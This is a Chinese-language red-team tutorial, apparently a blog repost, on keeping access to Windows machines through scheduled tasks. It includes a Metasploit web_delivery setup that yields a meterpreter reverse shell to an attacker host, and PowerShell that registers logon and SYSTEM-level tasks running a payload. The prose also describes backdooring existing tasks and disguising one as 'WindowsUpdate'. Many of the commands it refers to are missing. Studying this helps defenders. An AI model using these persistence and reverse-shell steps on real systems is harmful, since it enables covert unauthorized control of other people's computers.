利用计划任务维持系统权限
- 看不見的法師
- 2025-08-21
- 热度
在 windows 系统上,可以使用计划任务来定时执行某些操作,方便用户对系统的使用和管理,红队成员也可以利用这个特性来对系统进行持久化的控制。
创建计划任务可以本地或者远程操作,也可以作为远程执行命令的一种方式,老版本的 Windows 系统可以用 at 命令创建,新系统内逐渐替换为 schtask 命令。
首先使用 Metasplit 的 web_delivery 模块生成一个有效 payload:
代码语言:javascript代码运行次数:0运行复制use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.0.2.21set target 5exploit
在 cmd 下执行 schtask 来创建计划任务,在用户登录系统时,执行生成好的 Powershell 的 padyload:
当用户登录时,payload 执行后,meterpreter 得到一个会话:
也可以在空闲时间进行执行,命令如下:
除了可以定时执行外,还可以设置过期时间和自我删除功能:
如果目标系统启用了事件日志记录,可以选择在特定的事件上触发任务,可以使用 wevtutil 查询事件 ID:
然后创建一个调度任务,当关联的事件 ID 出现时,触发任务执行:
使用 Query 参数可以查看创建的任务计划:
当管理员登出系统时,触发任务执行:
也可以使用 Powershell 来创建计划任务:
代码语言:javascript代码运行次数:0运行复制$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"$S = New-ScheduledTaskSettingsSet$P = New-ScheduledTaskPrincipal "Pentestlab"$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask Pentestlab -InputObjec $D $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"$T = New-ScheduledTaskTrigger -Daily -At 9am$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest$S = New-ScheduledTaskSettingsSet$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask PentestLaboratories -InputObject $D
这是个二进制文件,需要管理员权限运行,下载地址:
使用下面的命令在管理员登录的时候执行 payload:
在目标系统重启之后执行 payload,获得会话:
SharPersist 还可以列出指定的计划任务来获得相关信息:
或者列出全部的计划任务信息:
SharPersist 也可以检查任务是否执行成功的功能:
列出登录时执行的所有计划任务,可以用于排查恶意软件添加的计划任务:
使用 schtaskbackdoor 和 check 功能结合,可以识别指定的计划任务是否为后门:
使用 add 参数可以执行恶意命令的现有计划任务:
使用下面的命令创建每天凌晨 03:22 执行基于 PowerShell 的 payload,任务名称为 "WindowsUpdate" 用来迷惑用户:
Payload 会以 base64 编码的格式保存在注册表中,还有个模块可以在用户登录期间执行 Payload:
文章来源: